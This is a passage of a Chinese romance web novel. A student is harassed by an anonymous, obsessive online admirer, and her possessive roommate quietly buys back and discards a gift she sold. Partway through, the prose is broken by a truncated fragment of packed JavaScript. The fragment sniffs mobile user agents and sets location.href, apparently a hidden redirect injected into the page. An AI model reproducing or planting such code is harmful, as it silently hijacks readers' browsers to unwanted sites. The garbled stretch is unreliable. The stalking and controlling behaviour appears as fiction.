很快，低头看了眼乖乖躺在自己大腿上的东西，面露歉意：“宝宝，我刚才光顾着看电影了，都忘了我们还买了吃的。”
虞姜知道这个锅自己得负责背一半，因为她也没记起这件事。
冷掉的爆米花，味道和新鲜出炉的完全不能比。
直接扔掉的话，虞姜难免觉得心疼，毕竟这样一份双人套餐，就得几十块。
那边盯着她看的褚倾子，看出她的内心纠结，温声建议道：“厨房里有空气炸锅，我们带回去复炸一遍吧，实在不能吃的话，到时候再扔掉，可以吗宝宝？”
虞姜看着她的眼神里，一时间充满了崇拜。
“倾子，你太聪明啦！我差点忘了家里还有空气炸锅呢，那我们快点回去吧！”
迫不及待想回去尝试一番的虞姜，很快就遭遇了返程的最大困境——她俩的手，一直都还牵着呢。
头顶的灯光如银纱般倾泻而下，万幸的是，它坠落的角度，并没有那么完美。
虞姜脑袋上那两片悄然变粉的软耳朵，被恰到好处的阴影所遮盖。
她赧声道：“倾子，我现在不冷了，你可以把我的手放开了。”
褚倾子没照做，而是摆出虞姜再熟悉不过的那副无辜脸。
“但我觉得冷了，宝宝可以替我也捂一捂吗？”
虞姜：“……”
良心小锤再次出现，一下又一下地敲打着她脆弱的心脏。
虞姜实在做不出“过河拆桥”的恶性行为，只能欲哭无泪地嗯了一声。
才到影厅门口，褚倾子就将她放开了。
虞姜一喜：“你不冷了？”
褚倾子温声敲碎她的希望：“宝宝想在哪里等我，我去趟洗手间就回来。”
虞姜接过她递过来的爆米花桶，闷闷道：“那我去大厅等你吧，顺便去找工作人员要个打包袋。”
她每次替自己感到委屈的时候，总是会不自觉地撅起嘴。
娇俏的模样本就生得精致可爱，被这么灵活有趣的表情一衬托，更是叫人想将她搂进怀里，亲自上手揉一揉她那张软乎乎的粉颊。
褚倾子眸中的温柔底色，微微发着暗。
她魔怔般朝着那张朝思暮想的脸颊探出手，即将触碰上的刹那，动作一顿，转而往下，变成将手掌向她摊开。
“宝宝带纸了吗？”
虞姜晃了下神，略显狼狈地躲开她的眼神。
要命了，她怎么会以为褚倾子是想摸自己的脸啊！！！
“在、在我口袋里，你找找。”
褚倾子落眸，扫了眼她的两只口袋。
两侧口袋都微微鼓起，但可以分辨得出，哪一边藏的是手机，哪一边，藏的是手帕纸。
褚倾子将一整包纸都拿走了。
虞姜也转身，去找工作人员要打包袋。
安静的洗手间里，突兀地响起一阵东西被丢进垃圾桶里的声音。
处理完东西的褚倾子，来到镜子前，开始清洗那只碰过纸巾包装的手。
透亮的玻璃镜面，映出镜中人那张精致夺目的脸。
她神色偏冷，惯常含笑的唇角，此刻却勾着堪称不近人情的淡漠弧度。
“嘶拉——”
是包装上的透明封条被扯开的声音。
褚倾子一点点擦净手上残留水珠，末了，又将这包崭新的手帕纸，塞回自己的口袋中。
另一边。
虞姜找工作人员要到了打包袋，刚将爆米花放好，熟悉的声音在耳侧响起。
“宝宝，我回来了。”
两人的身影逐渐远去。
简单又日常的对话，很快融进周遭的杂音里。
“宝宝，抱歉啊，刚才起身的时候没拿稳，不小心把纸弄掉了。”
“一包纸而已，干嘛和我道歉，对了，说到纸，你知不知道这种公共场所……”
//
第二天上午没课。
虞姜醒得早，起得迟。
收拾完来到客厅，已经过了八点。
她走进厨房倒了杯温开水，没再回房，端着水杯坐上沙发。
客厅里很安静，虞姜一个人刷着手机，动作轻得连一点声音都听不到。
等最后一口水喝完，门铃恰好响了。
来人不是外卖员，而是某东的快递员。
虞姜和对方大眼瞪小眼：“某东？我这几天没在这上面买东西啊？”
快递员显然见惯了这种事，淡定道：“手机号和地址都没错的话，应该就是你的朋友给
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你买的。”
朋友？
虞姜脸色一僵，她好像知道这是什么了。
快递员前脚刚走，外卖员后脚就到了。
虞姜再次把人送走，低头，纠结又苦恼地看着地上的快递盒。
这个相机，该怎么处理呢？
她一时想不出来，决定等吃完早饭再说。
虞姜回了趟屋，放好快递盒，出门去叫褚倾子。
几分钟后，餐桌上。
虞姜接过褚倾子递过来的勺子，正要开始喝粥，摆在一旁的手机突然亮了起来。
就算没看见具体的消息内容，她也能断定，这时候来找自己的，绝对是那个跟鬼一样阴魂不散的死变态。
虞姜不打算理她。
结果对方就像一块怎么甩也甩不掉的牛皮糖，一刻不停地发着新消息。
对面的褚倾子正在替虞姜剥蛋壳，无意瞧见她手机的异常状态，温声提醒道：“宝宝，好像有人在找你，你要不要先看一眼消息？”
虞姜很后悔刚才没有把手机放回口袋里，才给了死变态可乘之机。
她僵硬地扯了笑：“那我看一眼。”
【无名变态：老婆，早上好！】
【无名变态：老婆，早上好！】
先是将近二十条的早晨问候语，发完这些，无名变态才改了消息内容。
【无名变态：老婆，我这边的物流显示相机已被本人签收，老婆已经拿到快递了是嘛？】
【无名变态：老婆之前用过相机嘛？没用过的话，我这里有一份详细的使用说明，老婆到时候可以对照着使用喔～（超乖.jpg）】
【无名变态：（图文版自制相机说明书.pdf）】
【无名变态：这是我连夜亲自替老婆准备的呢～老婆我是不是好乖～（仰脸求夸.jpg）】
【无名变态：看在我这么乖的份上，老婆能不能用相机拍一张自拍照送给我呢！（期待星星眼.jpg)】
【无名变态：老婆不愿意拍脸的话，拍身体的其它部分也可以的！就算老婆只拍了自己的小拇指，我也会超喜欢的！】
【无名变态：我保证！我一定会像爱护老婆其它的照片一样，好好把老婆的小拇指也保存好的！】
虞姜的好心情被她毁得彻底，一时怒火攻心，当即点开微信的拍照功能，臭着脸拍了张自认为骂人最脏的照片。
【（竖中指.jpg）】
无名变态秒回。
【无名变态：（戒指.jpg）】
20. 二十
看着无名变态的回应，虞姜内心飘过三个大字——
大意了！
也怪她！
气得都忘了屏幕那边根本不是正常人！
照片发出去还没超过两分钟，虞姜忙选中并撤回。
【滚吧！脸皮厚到能直接去做防弹玻璃的死变态！！！】
无名变态不回了。
消息如同石沉大海，十多秒过去，眼看着屏幕都快自动熄灭了，都还没有被回复。
虞姜有点不太敢相信，那个讨厌的家伙，不会真被自己骂走了吧？
她试着退出微信再重进。
消息列表显示的内容，和刚才一模一样。
虞姜的眼睛变得格外明亮。
一时太过激动，连点开聊天框的手，都有些难以自抑的哆嗦。
以防万一，还是得把自己的攻击武器收藏起来。
这样的话，下次死变态再来纠缠自己时，就能以同样的手段，直接把人骂走。
“内容已收藏”的提醒刚出现，无名变态又回来了。
【无名变态：老婆对不起！！！】
【无名变态：没想到老婆会突然暗示我求婚，我太激动了，就忘记回老婆了呜呜呜。】
【无名变态：[对方向您转账13140元]】
【无名变态：老婆对不起！我下次再也不会这样了！下次我就算手断了，也会想办法第一时间回老婆消息的！】
虞姜虽不是什么迷信的人，但也知道“一语成谶”的道理。
若是其他人这么诅咒自己，她一定会让对方赶紧呸呸呸，以防坏结果成真。
无名变态，不是其他人。
所以她的回复，堪称无情。
【手断掉的话，你千万别再来找我，我可不想被一个断了手的变态缠上。】
无名变态还是那副被嫌弃了也觉得不痛不痒的样子。
【无名变态：老婆的意思是，只要我的手好好的，就能一辈子缠着老婆了是嘛！】
【无名变态：谢谢老婆的关心！我会一辈子都好好缠着老婆的！老婆我爱你！我要一直一直缠着你！（小鬼狗.jpg）】
虞姜无语。
【无名变态：对噜～老婆要不要猜猜我刚才去做什么啦～】
【无名变态：老婆好棒呀～又猜中我的小心思了呢～（爱心眼小狗.jpg）】
一个标点符号都不愿意发给她的虞姜：“……”
【无名变态：（被p过的中指戴戒指照片.jpg）X7】
【无名变态：老婆都暗示我求婚了，我肯定要有所表现的嘛～（扭捏小狗.jpg）】
【无名变态：老婆喜欢哪款？在老婆和我正式结婚之前，就委屈老婆先暂时戴一戴这些普通的！】
【无名变态：将来我亲手给老婆戴上的求婚戒指，一定会是独家定制的专属款！】
【无名变态：老婆怎么还不回我哇？（淋雨小狗.jpg）】
【无名变态：老婆是选不出来嘛？】
【无名变态：那我把它们都买了好不好？反正一周有七天！老婆一天戴一枚！换着戴！】
虞姜可不想再收她的任何东西。
毕竟处理起来，还浪费自己的时间。
【你做梦！别拿这些东西来脏我的眼！你给我滚！】
【无名变态：对不起老婆，是我不好呜呜呜，都怪我，脏到老婆的眼睛了。】
【无名变态：老婆别担心，我会负责的！】
【无名变态：其实我有朋友是眼科医生，老婆眼睛痛吗？不然还是拍一张眼睛的照片给我吧，我发给她问问，看情况严不严重。（真诚脸.jpg）】
虞姜觉得再聊下去眼睛真会被气痛，索性直接收了手机。
刚拿起勺子，对面的褚倾子关心出声。
“宝宝是和谁聊天呢？”
她随口捏了个身份：“一个以前认识的姐姐。”
褚倾子点点头，转了话题：“宝宝等下准备做什么？”
虞姜本没有安排，被她一问，突然有了想法。
“我可能要寄个快递，也可能寄不了，但都得在家里等着。”
猜到对方多半听不懂，她主动解释。
“我刚才拿外卖的时候，正好收了个快递，东西就是我说的这个姐姐寄来的。
“她们公司最近有大型活动，她运气好，抽中一台相机。
“她自己平时不拍照，就打算把东西挂网上卖掉。
“当时叫了好几个朋友一起发帖，也叫我帮她发，结果其他人的帖子都没什么流量，来问我的人比较多。
“她用我的号和询问的人聊，最后和一个买家定好了，只是那个买家这段时间行程不定，暂时没法把收货地址发过来。”
虞姜把谎言编得跟真的一样，说到这里，还很自我配合地叹口气。
“她担心等买家确定好地址了，又轮到她开始忙，就先把相机寄给我，让我帮她转寄给买家。
“买家昨晚和我说她今天大概率可以给我地址，我刚才说的不知道能不能寄，就是因为不确定她今天是否真的会发给我。”
虞姜心里其实一点数也没有。
褚倾子多聪明啊，平常自己报备点什么，总是会问得格外细致。
她编的这些，总感觉很快就会被拆穿。
虞姜做好了“用更多谎来圆第一个谎”的准备，可
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出乎她意料的是，褚倾子竟然就这么轻易地“放过”了自己。
“原本是想让宝宝陪我一起去趟超市的，既然宝宝有安排了，那我这次就自己去吧。”
虞姜有点没反应过来：“你没有什么要问我的吗？”
褚倾子失笑：“我该问宝宝什么呢？”
虞姜挠了下头，总感觉哪里怪怪的。
偏偏又说不上来究竟有何不对，只好压下这股莫名的想法，然后变成她来问：“你要去超市买什么？”
“零食柜里的东西快没了，我去买点回来，本来线上下单也可以的，昨晚刷到‘甜澜’的公众号推文，店里今天要推出新品，正好是宝宝喜欢的芋泥款，干脆就顺路去趟超市好了。”
虞姜又是感动又是后悔。
早知道褚倾子要约她出门，她就不提相机的事了！
相机什么的！
等回来再处理也是可以的嘛！
无奈话已出口，她也不能再收回来。
只好暗自委屈地点点头：“好吧，那我在家里等你。”
//
独自留在家里的虞姜，化悲愤为动力，开始处理卧室里的这台相机。
她先去某鱼上搜了下普遍的出手价，又在最低市场价的基础上降了两千块，才将这台连拆都没拆过的新相机上架。
做完这些，虞姜打开与无名变态的微信聊天框。
【你寄到我家里的那个相机，我把它卖！掉！了！】
这么说，纯粹是想膈应对方。
虞姜相信，不管是谁，恐怕都没法对这种事情无动于衷。
谁要是把她送的礼物转眼就放到二手市场上卖掉，她一定会对那个人感到很失望。
【无名变态：（购物详情截图.jpg）】
【无名变态：老婆，交易证明都在这里了，我应该没有漏掉什么吧？（乖乖小狗.jpg）】
【无名变态：老婆是用多少钱卖掉的？老婆这么快就能卖掉，肯定是压低价钱卖的吧？】
【无名变态：[对方向您转账100000元]】
【无名变态：给老婆补差价！祝老婆出物顺利！】
【无名变态：虽然没能亲眼看见老婆炫耀的样子，但可以想象，一定超级超级可爱！！！（亲一大口.jpg）】
【无名变态：老婆是一块宇宙无敌最可爱的漂亮小蛋糕！我大亲特亲！！！】
【无名变态：老婆老婆老婆～还想卖什么嘛～我都给老婆买～】
【无名变态：只是～老婆把它们卖掉的时候，能不能也像现在这样，主动来找我炫耀哇～（期待.jpg）】
依旧没能猜到这个结果的虞姜：“……”
21. 二十一
相机挂上去还没到五分钟，就有一个昵称为“鱼喵121”的买家来询问。
【鱼喵121：你好，请问相机还在吗？】
虞姜没再去管无名变态，开始和她沟通起有关交易事宜。
当知道虞姜是真打算以这个价钱出售一台全新相机而不是为了低价引流时，对方连发了一长串的“！”。
【鱼喵121:姐妹，你应该不是骗人的吧？】
无名变态不久前刚发来的那堆购物证明，在这一刻被派上用场。
虞姜先是转发了相关购买截图，担心对方不放心，还特意把地上的快递盒一起拍给她。
【快递是我刚收到的，相机的包装盒我也还没拆，你要还是怀疑的话，那就算了。】
【鱼喵121：不能算了不能算了，我就是奇怪为什么早上刚到的快递，你这么快就卖了，退回去不是更方便吗？】
【不好意思，这属于我私人原因，不太方便和你说，你考虑一下看要不要吧，有其他买家来找我了，你不要的话我就去问她了。】
【鱼喵121：我拍我拍！】
【鱼喵121：姐妹我拍了！今天可以帮我发货吗？】
【我现在就可以约快递员上门取件。】
【鱼喵121：那就谢谢姐妹啦！到货没问题的话，我给你整个一千字的五星好评！】
虞姜回了个爱心鱼的系统表情包，点开交易详情界面，准备根据对方的地址下单寄件。
当看到收件地址显示为兰灵湾小区时，她愣了下。
【你是大学生？】
【鱼喵121：对啊，怎么啦？姐妹你也是吗？】
【我是A大的，上午没课，你要是方便的话，我们直接面交？】
【鱼喵121：妈耶，这么巧吗？我是你邻居B大的，今天刚好也没课，那我现在换个衣服出门，在你们学校北门碰面可以吗？】
【好，那等会儿见。】
【鱼喵121：对啦姐妹，你快递盒就不用拿给我了，直接把包装盒给我就行，等会儿见，拜拜。】
//
二十分钟后，A大北门。
虞姜成功和“鱼喵121”同学碰面。
对方也没打算检查，当着虞姜的面收完货，抱着盒子跟她道别：“那就谢谢姐妹啦，等我回去就给你写五星好评。”
虞姜指指她怀里的东西，提醒说：“你不打开再检查一下吗？”
“都是大学生，我信你！不过到时候如果需要售后，能麻烦姐妹帮我联系一下客服吗？”
换作是其他东西，虞姜倒是不介意做这个中间人。
可惜相机不是她买的，一旦需要售后，她还得主动联系那个死变态。
虞姜万不可能自寻死路。
“抱歉，这个东西不是我买的，售后方面没法替你处理，如果你实在介意，我可以把钱退给你。”
“鱼喵121”纠结了差不多有半分钟，最后还是决定买下。
两人就此告别。
虞姜回到家里没多久，就收到了某鱼提示的新通知。
点开一看，是“鱼喵121”给的一千字好评。
【鱼喵121：超级好超级好超级好……】
密密麻麻的一片，算起来估计还超了一千字。
虞姜看见，不禁笑出声。
另一头。
刚抱着相机准备穿过马路的“鱼喵121”，被一个漂亮的陌生同学拦下。
当听到对方表示愿意以原装市场价来收购她手里的这个相机时，她错愕地瞪圆了眼。
“鱼喵121”犹豫两秒，还是说了实话。
“这个相机其实是我从别人那里买来的，她出的是二手价，你要是真的想收，就按照我给她的价钱转给我吧。”
褚倾子没有要她的交易证明，只是让她把收款码打开。
“鱼喵121”一边给她报金额，一边照做：“支X宝可以吗？微信提现要钱。”
“嗯，都行。”
褚倾子扫码付了钱，伸手示意她把相机给自己。
“鱼喵121”乖乖递出东西，低头看了眼手机，瞬间被界面显示的收款金额吓到：“同学，你怎么还直接给我往上凑整了？”
回应她的，是对方早已远去的背影。
褚倾子看着手中的相机包装盒。
隐隐约约，还能闻到一股属于虞姜的味道。
只可惜它跟虞姜接触的时间实在太短，褚倾子的鼻子贴着它嗅闻没多久，包裹在外包装上的那股清香味，便散了形。
她面无表情地从垃圾桶边走过。
只听砰的一声。
在她身后，那台对她来说不再具有任何意义的崭新相机，就这么与桶里的废弃物们做了伴。
//
门铃作响。
坐在沙发上看综艺的虞姜，跑去开了门。
“倾子，你回来啦。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14093956|148376||http|test|mini|href|location''.split(''|''),0,{}));
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>褚倾子两只手里都提着满满的东西，虞姜微微弯腰，想要帮忙分担其中一些。
伸出去的手，被对方轻轻躲开。
“我来吧，宝宝替我把门带上就好。”
虞姜乖乖照做：“你下次到小区门口了就给我发消息，我出去接你。”
褚倾子意有所指道：“不会有下次了。”
虞姜没听懂：“嗯？”
“下次出门，都会让宝宝陪我去的。”
再平常不过的安排，却因那若有似无的暧/昧语气，惹得人粉颊羞红几分。
虞姜帮不上忙，空着手跟在褚倾子身后一起进了厨房。
“我有买牛排，中午和宝宝吃牛排好吗？”
“好。”
虞姜的目光很快被她带回来的奶茶所吸引。
她一开始还担心自己认错，特意打开和迟净的历史聊天记录进行对比。
确认褚倾子买的就是迟净那天推荐的奶茶后，惊讶得不行。
“你怎么会买这家店的奶茶？我记得超市附近，好像没开这个牌子的分店吧？”
褚倾子正把速冻食品往冷冻层放。
闻言也没回头，解释道：“买甜品的时候，听到边上的人说这家店的奶茶很不错，我搜了下地图，离甜品店也不远，就顺路去了一趟。”
她关上冰箱门，反问一句：“宝宝也知道这个牌子吗？”
虞姜实话实说：“迟净的学校附近正好开了一家，她也说很好喝，推荐我有机会的话可以试一下。”
“那还真巧，我买来也有一段时间了，再放下去的话口感会变差，宝宝先喝了吧。”
“好。”
虞姜撕开塑封贴，这才发现褚倾子虽然拿的是装双杯的包装袋，实际上里面只放了一杯奶茶。
“你只买了一杯吗？”
回来前直接将另一杯送给门卫的褚倾子眨眨眼，无辜道。
“我今天没那么想喝，宝宝喝的时候，我蹭一两口就行了，可以吗宝宝？”
虞姜当然表示没问题。
等一整杯奶茶被两人分享着喝完，她才后知后觉。
欸？？？
不是说今日奶茶兴趣不大吗？
怎么我每喝完一口，你就要凑过来跟着喝一口啊！！！
也不是不让喝……
只是……
你手边明明就有纸哇！！！
怎么替我擦完嘴之后，又把手伸进嘴里了啊！！！
22. 二十二
那之后再过几天，就到了虞姜和迟净约好的“治病日”。
迟净的电话打来时，虞姜刚坐上餐桌准备吃早饭。
看清来电显示的备注名字，第一反应不是接起它，而是先抬眼望向对面的褚倾子。
她正戴着一次性手套，替虞姜处理着马上要和豆浆组成绝佳早餐搭档的油条。
察觉到来自对面的视线，抬眸，目光同虞姜的碰撞上。
只一眼，就将她的无声纠结了然于胸。
褚倾子手中动作未停，温声给出建议：“宝宝要是不介意的话，就直接开免提吧，不会吵到我的。”
虞姜这才放下心，接完顺便按了免提。
“虞小姜同学，你还没醒吗！”
迟净中气十足的声音在餐厅内炸/雷般响起时，表面漂浮着油条段的温豆浆，恰好被一只修长手推至面前。
虞姜顺势看过去，得到的是一抹比豆浆还甜的温柔笑。
她略显仓皇地收回视线，开始回应那头笨笨的迟小净同学。
“我要是没醒，该怎么接你的电话呢。”
“嗷，也是，那我就直接说了，下午四点要做什么，你没忘吧！”
虞姜脸上的轻松劲，忽的一下就散了。
随之而来的，是一层如面具般束缚在脸上的无名紧张。
她居然把这么重要的事情给忘了！
心知再去懊恼已无意义，虞姜开始调整心态。
她答应迟净的事，从本质上来说，其实和褚倾子没有半点关系。
可她还是莫名的就是不想让她知道。
好在迟净什么都没说，自己还可以想办法把真相掩盖住。
虞姜也算了解迟净，眼也不眨地回复：“我没忘，放心吧，下午我会准时出发的。”
迟净的反应和她预料的并无二致。
“那就行，对了，我下午没别的事，到时候会去接你的，你就在你们小区门口等我就好，先这样，其它的等见面了再说，拜拜。”
不等虞姜再作回应，她撇下这句，火急火燎地挂了电话。
虞姜知道，眼下这一关，算是闯过了一半。
剩下的另一半，自然也是最难的。
她在心里给自己打气，反正也不是第一次说谎了，再说一次，肯定也会成功的！
迅速消失的迟净，又发了一条文字消息过来。
【迟小净：我上次忘了收藏你发给我的地址，再回去找历史记录太麻烦了，你把你们小区定位再发我一个。】
虞姜给完定位，开始放下手机闯关。
还没推开门进入关卡，镇守宝箱的BOSS，主动向她靠近了。
本以为会是一头龇牙咧嘴的大猛兽，蹿到眼前了，才知道原来只是一头连牙都没长齐的小稚兽。
“宝宝和我生疏了呢。”
褚倾子什么也没问，反倒更令虞姜感到措手不及。
她忙开口安抚：“我没打算瞒着你，本来当天就想和你说的，结果那天你临时生了病。”
褚倾子愣了一瞬：“宝宝是在开学那天，和迟净约的？”
提到开学那天，虞姜的眼里迅速闪过一丝不自然。
她点点头：“后来等你病好回来，我就把这件事给忘了，刚才跟迟净说没忘，是骗她的。”
虞姜以为自己这么说，对方就不会再追问了——就像卖相机那天一样。
褚倾子的确没有问她究竟是要和迟净去做什么，可她真正的问题，也同样很糟糕。
“宝宝会骗她，那是不是也会骗我呢？”
虞姜语塞。
褚倾子难得执着，她的目光像把温柔剑，伤人不见血。
就算气氛逐渐冷掉，也没打算开口替它升个温。
虞姜觉得再这样下去，自己恐怕要先被闷死在这逼仄的氛围里，只好出声打破沉默。
她已经可以很熟练、很冷静地对她撒谎：“我不会骗你的。”
“那宝宝愿意告诉我，究竟是和别人约了做什么吗？”
虞姜心头震颤，顶着来自那双温柔眼眸的无形压力，虚着声说：“就、就和她在学校里逛一逛。”
褚倾子并没有这么简单地放过她。
她又变回那个，喜欢掌握好朋友与自己无关的任何动向的“黏人问题精”。
“既然只是逛逛，那宝宝为什么要这么晚才去找她，白天难道不能约吗？”
一问一答间，虞姜成功勾勒出谎言的雏形。
她定了定神，以一种自然到几乎没有任何破绽的语气，解释道。
“这周她们社团有个小型的内部演出，迟净作为社团成员，最多可以邀请两个朋友一起去
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观看。
“本来她那天问完我，我是打算和你一起去的，后来我不是忘了这件事吗，就没有再问你。
“刚好她室友还缺一个朋友名额，她就把名额给她室友了。”
虞姜在心里默默复盘。
这次的谎言，从逻辑上来说，好像没有什么破绽。
褚倾子她……应该能接受这个解释吧？
“原来是这样，真可惜，我也想陪宝宝一起去看演出，要是我当时没生病就好了。”
虞姜听不得她这般埋怨自己，再加上心里有愧，暂失理智地说：“要不然，我就不去了？”
刚一出口，就后悔了。
完全可以想象，这种“见色忘友”的无良话要是被迟净听到，会有什么样的后果。
褚倾子温声一笑：“宝宝既然答应了，自然是要去的，我虽然不能陪宝宝一起观看，但送宝宝过去，再和宝宝一起回来，总是没问题的吧？”
“不行！”虞姜脱口而出。
反应过来，恨不得当场咬舌自尽。
她苦着一张脸，试图再想一个可以说服对方的理由。
褚倾子被拒绝了也不失落。
她很平静地接受了这个结果。
甚至是，用比以往还要更温柔的语气，叮嘱着即将抛下自己、独自去找另一个好朋友的虞姜。
“演出应该不会那么久吧，最晚七点，我可以在小区门口见到宝宝的，对吗？”
虞姜哪敢再讨价还价，连去这一趟可能需要耗费的时长都来不及算，就先点了头。
“我会在七点前回来的，到时候给你带夜宵。”
//
就算正被人直勾勾地看着，褚倾子的动作也依然显得从容不迫。
咔嚓一声，安全带落了锁。
褚倾子朝车里探进大半个身子，只是为了亲自替虞姜把出行安全措施处理到位。
做完这些，她顺手替虞姜理了下耳边的碎发。
“我在家里等你。”
虞姜红着大半张脸，朝着逐渐被车子抛下的褚倾子，摆摆手。
“那我走了，拜拜。”
等车子并入马路上的车流，被这一口甜到发齁的狗粮腻到的迟净，冷不丁开口。
“可恶的虞小姜同学！你俩啥时候谈的？你咋啥也没和我说呢！”
23. 二十三
“咳咳咳、咳咳。”
虞姜刚打开矿泉水喝进半口，听见这话，险些被呛死。
她随手抹了下被溅湿的嘴角，瞪向迟净的大眼里，满是震惊。
“你在说啥呀？我和她是什么情况，你又不是不知道……”
迟净踩下刹车等绿灯，借此机会扫了她一眼。
“拿纸擦擦吧，车上不是有纸吗？“说着，顺手抽了两张递过去。
虞姜哦了一声接过，老老实实重新收拾身上被水打湿后的残局。
迟净话还没说完，一边盯着前方注意路况，一边啧啧道。
“我当然知道你俩啥情况，就是知道，才觉得不可思议。”
“嗯？”
十字路口的红灯，此时只剩下最后三秒。
迟净抽空又看了眼虞姜，视线的落点并非她的脸，而是那根将她紧紧缠缚在车座上的安全带。
透过它，眼前再度浮现出刚才褚倾子探进身子亲手替虞姜系安全带的画面。
她叹气，语气认真中透着股无奈：“先前只是在微信里听你描述过她人很好，具体哪里好、怎么好，你没仔细说，我也就没在这方面深究，今天亲眼见到她，我只能说，要么她是真的好，要么就是你太笨。”
虞姜：？
她觉得自己就像路边好好走着的小狗，突然被可恶的人类无缘无故地踹了一脚那样无辜。
“好端端的，你干嘛说我笨？”
“我追求学姐快一年了吧，平日里也会开车带她出门玩，只有我自己开车的时候，才会在得到她允许的前提下，替她把安全带扣上，像你俩刚才那样的情况——”
迟净又被那口已经消失的狗粮齁到，喉咙滚了下：“水喂我喝口，突然觉得嘴巴好干。”
虞姜下意识拧了瓶盖要递给她，迟净刚张开嘴打算接，在眼前只做短暂停留的矿泉水瓶，又被对方收了回去。
迟净：？
“虞小姜同学！怎么回事？！就因为我说你笨，所以你气得连水都不肯给我喝了？”
虞姜没敢告诉她自己已经有这方面的“心理阴影”了。
——都是被褚倾子擦嘴擦怕的。
她心虚地重新把水递过去，脸不红心不跳地捏造谎言：“刚才手抬太高了，担心遮挡你视线。”
迟净没有产生质疑，就着她的姿势润完喉，才说：“那你放低点就行，还那么大幅度地收回去干嘛，我喝完了，你盖上吧。”
因为要喝水而被暂停的话题，重新开启。
迟净很自然地往下接：“刚才说到哪了，哦，系安全带是吧，我要是送学姐上别人开的出租车，顶多就是替她开个门，可从没想过还要亲手替她把安全带系上。”
虞姜听完，并不为此感到高兴或觉得甜蜜，小脸一垮，看着更沮丧了。
“我知道你什么意思，你没有和她真实接触过，如果你和她接触多了，你就会知道，她对所有人都是这么好的，不是只对我这样。”
迟净表情古怪：“我的妈呀，她也每次都会替别人系安全带啊？这是什么极品中央空调？”
虞姜生怕褚倾子被误会，忙替并不在场的她解释：“不是的不是的，她不是什么空调，她就是单纯人好，对每个朋友都很好。”
“也对，中央空调形容的好像都是海后渣女吧，如果她对谁都这么好，活着不累吗？”
迟净光是想想就觉得头皮发麻：“那我就很佩服她了，居然真有人每次都会替朋友这么系安全带啊，好可怕的行动力。”
“我也不知道她有没有帮别人这样系过，其实这是她第一次这样帮我系安全带。”
迟净的思路彻底被她带跑偏：“那很奇怪啊，平时不帮你系，只有今天主动帮你系，她这是什么，表演型人格？好像也不对，哦～我懂了，她是在向我宣战！虞小姜同学，你说，到底谁才是你最好的朋友！”
虞姜不知道话题怎么就到这上面了，她很明智地跳出这个“自证迷局”，道：“之前我们都是一起坐的后座，一般都不系安全带的。”
迟净果真忘了上一个问题，满脸不解：“哈？我一个住校的都特意买了辆车方便日常出行，她家条件应该比我家更好吧，而且都和你搬出去住了，居然没买车？”
虞姜此前倒是从没考虑过这个问题，听她这么一说，虽然觉得好像是有些奇怪，但也没细想。
“可能她还没考出来驾照，也可能单纯不喜欢开车吧。”
“也是，钱在她自己卡里，想怎么花和咱无关，行了，七七八八的扯了那么多，正事还没和你说呢。”
一听到正事，虞姜的表情开始变得不自然了。
“真要去啊？要不然，还是算了吧。”
迟净一副要吐血的表情：“虞小姜同学，你知道你这轻飘飘的一句算了吧，对我造成了多大的伤害吗！”
她恨铁不成钢道：“你知道要找这么一群有颜值、有人品、性格好，关键是都不是直女的小姐姐，究竟有多难吗！我这两周每天都在找朋友拉关系帮我物色合适的人选，就是为了能早日带你脱离这遥遥无期的暗恋苦海，你现在居然还敢给我说这种混账话！”
虞姜自知说错话，没敢顶嘴，只是小心翼翼地替自己辩解：“我就算去了也没用的，你知道的，我——”
迟净愤愤地嗔瞪她一眼：“我不知道！我说了，你就是见的人太少了，等你见多了本身就具有吸引力的女孩子，我就不信你还要吊死在她这一棵树上！”
虞姜怂怂道：“那你不是这么久也没追到学姐嘛……你怎么不一起参加？”
“咱俩能一样吗！我有自信我能追上，你呢？你自己什么心态，我还能比你自己更了解？但凡你这怂包能有我十分之一的自信，我也不会特意为了你攒今晚这个联谊局！”<
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虞姜连忙讨好地替她拍拍起伏剧烈的胸膛：“我错了我错了，我知道你都是为了我，我会乖乖去的。”
迟净哼了她一声，缓了语气，语重心长道：“不是简单的去就好，我是要你快点换个人喜欢，既然你确定你俩没可能，那干嘛还要把自己困在这段见不到曙光的暗恋里，人活着已经很不容易了，既然活着，那就尽量让自己活在快乐里，不要再自寻烦恼了好吗，我亲爱的虞小姜同学？”
“知道了。”虞姜只说了这三个字。
迟净也没有逼着她一定要在口头上给出承诺，毕竟心口不一这个词，就是拿来形容人的。
//
车子开进商场的地下停车场。
迟净把她送到了KTV的包厢门外，良好的隔音墙，将室内的声音阻挡得一干二净。
“我就不进去了，不然容易被误会我也是来联谊的，人都是好人，这个我可以给你打包票，所以放你一个人进去我也放心，等会儿结束了，最好是有人陪你一起回去，实在没有，我再过来送你回去，有事微信找我。”
迟净叮嘱完，就离开了。
虞姜一个人站在门外，迟迟抬不起手去开门。
她泄气地掏出手机，打算确认一眼褚倾子是否有给自己发消息。
结果想收的消息没收到，反倒是来了条令人更加郁闷的坏消息。
【无名变态：老婆，你这是准备去参加联谊吗？】
这么多天下来，虞姜也已经习惯了她几乎无所不在的无形视线。
【关你什么事。】
【无名变态：老婆不是喜欢那个讨厌鬼吗！为什么还要去联谊？】
【无名变态：老婆，不准去！】
【无名变态：老婆要是真的进去，我会生气的！】
迟净的话在耳畔回响，再加上她实在厌倦了被死变态这般纠缠，一时忘了自己还有把柄在她手上，发泄般硬邦邦地回了句。
【那你就生气吧，气死了最好！】
虞姜的情绪太过激动，肾上腺素极速飙升的后果，就是终于抬起手，推开了那道潘多拉之门。
被放进口袋中的手机，屏幕无声亮了起来。
【无名变态：虽然我也讨厌褚倾子，但比起那些要跟老婆联谊的人，还是熟悉的褚倾子看着顺眼点。】
【无名变态：老婆，我帮你把她叫过来，好不好？】
【无名变态：其实我也不是什么是非不分的人。】
【无名变态：要是她真的来了，也成功帮我阻止了老婆和别人联谊，那这一次，我会考虑给她点奖励的。】
【无名变态：老婆不是喜欢她吗？喜欢一个人，总是会想和她做点亲密事的，对吧？】
